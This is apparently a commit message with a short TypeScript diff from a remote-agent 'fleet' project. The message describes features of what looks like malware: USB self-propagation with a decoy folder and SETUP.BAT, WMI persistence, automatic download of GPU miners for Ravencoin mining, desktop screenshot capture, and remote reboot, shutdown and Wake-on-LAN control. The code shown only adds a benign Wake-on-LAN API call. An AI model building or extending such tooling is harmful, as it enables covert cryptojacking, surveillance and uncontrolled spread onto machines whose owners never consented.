Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

server/web/src/api/client.ts

@@ -149,6 +149,11 @@ export const api = {
       method: 'POST',
       body: JSON.stringify({ action, ...payload }),
     }),
+  sendWOL: (id: string, mac?: string) =>
+    fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
+      method: 'POST',
+      body: JSON.stringify(mac ? { mac } : {}),
+    }),
   getAgentLog: (id: string, refresh = false) =>
     fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),